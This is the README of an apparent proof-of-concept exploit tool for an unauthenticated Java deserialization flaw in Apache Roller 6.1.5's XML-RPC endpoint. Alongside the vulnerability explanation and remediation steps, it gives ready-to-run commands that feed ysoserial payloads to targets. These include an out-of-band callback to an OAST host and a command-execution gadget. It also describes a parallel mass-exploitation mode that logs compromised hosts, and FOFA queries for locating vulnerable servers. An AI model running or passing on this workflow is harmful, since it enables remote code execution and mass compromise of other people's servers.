# CVE-2026-82384 — Apache Roller 6.1.5 XML-RPC deserialization Python 3 PoC for **[CVE-2026-82384](https://nvd.nist.gov/vuln/detail/CVE-2026-82384)** — **Apache Roller 6.1.5** unauthenticated **Java deserialization** on the legacy **XML-RPC** servlet. **PoC page:** [https://pocbit.org/pocs/cve-2026-82384](https://pocbit.org/pocs/cve-2026-82384) --- ## What is Apache Roller? [Apache Roller](https://roller.apache.org/) is a Java-based, multi-user **blog server** (historically “Roller Weblogger”). Deployments are usually Tomcat WARs with a UI under `/roller-ui/` and legacy **Blogger / MetaWeblog** APIs over **XML-RPC** at `/roller-services/xmlrpc`. Roller **6.1.5** (Sep 2025) fixed an unrelated session issue (CVE-2025-24859) but left the XML-RPC stack in a dangerous configuration for this CVE. --- ## Vulnerability in plain language **CVE-2026-82384** is **deserialization of untrusted data** (CWE-502) on the **XML-RPC endpoint**: 1. Roller’s `XmlRpcServlet` is configured with **`enabledForExtensions=true`**, so the Apache ws-xmlrpc library accepts **vendor extension types**, including **`ex:serializable`** — a **base64-encoded Java serialized object**. 2. That parsing runs **during HTTP request handling**, **before** Blogger/MetaWeblog **authentication** is evaluated. 3. The servlet mapping is **always present** in `web.xml`, so the parser still runs **even when administrators disable XML-RPC** in Roller settings (`webservices.enableXmlRpc=false`). Disabling the feature in the UI does **not** close this pre-auth path on **6.1.5**. 4. A remote attacker sends a crafted XML-RPC body; the server **deserializes** attacker bytes → **remote code execution** in the JVM (same class of bug as historic **CVE-2016-5003** in ws-xmlrpc / Archiva). **Affected:** **Apache Roller 6.1.5** only (per vendor advisory). **Fixed:** **Apache Roller 6.1.6+** ([PR #171](https://github.com/apache/roller/pull/171)): `enabledForExtensions=false`, and requests rejected when XML-RPC is disabled globally. | Metric | Value | |--------|--------| | **CVSS 3.1** | **9.8 Critical** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **Auth** | **None** for the deserialization primitive | | **Finder** | **n0mi1k** | | **Vendor** | Apache Software Foundation | --- ## Attack surface | Item | Detail | |------|--------| | **Endpoint** | `POST /roller-services/xmlrpc` (also try `/roller/roller-services/xmlrpc`) | | **Content-Type** | `text/xml` | | **Trigger** | `BASE64` inside a `methodCall` | | **Gadget chain** | Depends on classpath (Commons Collections, etc.); often generated with **ysoserial** | | **Impact** | RCE as the Tomcat/Roller OS user; typically full control of blog data and host pivot | --- ## What this PoC does | Mode | Behavior | |------|----------| | **`check`** | Finds Roller fingerprints, locates XML-RPC URL, optional **`--probe-deser`** (sends `ex:serializable` probe bytes) | | **`exploit`** | Posts **your** serialized payload (file, base64, or **ysoserial** via `--ysoserial-jar`) | | **Mass** | `--list targets.txt --mode exploit -j N` — parallel bulk with JSONL + **`exploited.txt`** | **PoCbit fields:** `pocbit`, `pocbit_catalog`, `pocbit_page` on every JSONL row. **CLI:** color banner, `[HIT]` / `[EXPLOIT]` / `[FAIL]` lines (disable with `--no-color`). This repository **does not ship live RCE gadget chains** (classpath-dependent). For real exploitation, provide **ysoserial** output or a verified payload file. --- ## Requirements ```bash pip install -r requirements.txt ``` For **RCE** (not just detection): - **Java** + **[ysoserial](https://github.com/frohoff/ysoserial)** JAR on the attacker machine - Example gadgets: `URLDNS` (out-of-band proof), `CommonsCollections6` (command execution on typical Roller classpath — **lab verify first**) --- ## Usage ### Detection ```bash python poc.py -u https://blog.example.com --mode check python poc.py -u https://blog.example.com --mode check --probe-deser python poc.py --list targets.example.txt --mode check -j 12 ``` ### Exploit (single target) ```bash # OOB DNS proof (replace with your collaborator) python poc.py -u https://blog.example.com --mode exploit \ --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \ --ysoserial-cmd pocbit.your-oast.domain # Pre-generated base64 payload file python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64 # Raw ysoserial bytes on disk python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin ``` ### Mass bulk exploit ```bash python poc.py --list targets.txt --mode exploit \ --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \ --ysoserial-cmd oast.example.com -j 10 ``` Outputs: - `cve_2026_82384_exploit.jsonl` — per-target JSON - `exploited.txt` — targets where payload was accepted / OOB sent --- ## Sample XML-RPC shape (educational) ```xml system.listMethods BASE64_JAVA_SERIALIZED_OBJECT ``` On **6.1.5**, parsing this body can deserialize before any method handler enforces credentials. --- ## Remediation 1. **Upgrade to Roller 6.1.6+** immediately. 2. Until patched: **block** `/roller-services/xmlrpc` at reverse proxy / WAF (allowlist admin IPs only). 3. Inventory: search for `Apache Roller`, `/roller-ui/`, port 8080/8443 blog hosts. 4. Related same-release issues: **CVE-2026-82377** (XML-RPC authz), **CVE-2026-82386** (XXE in bookmark import) — also fixed in **6.1.6**. --- ## FOFA / hunting (examples) ```text body="Apache Roller" body="/roller-ui/" body="/roller-services/xmlrpc" title="Roller" ``` Confirm version **6.1.5** from footer, about page, or `WEB-INF` / release notes before treating as exploitable. --- ## Legal Use only on systems you are authorized to test. Deserialization exploits can destroy data and violate law if misused.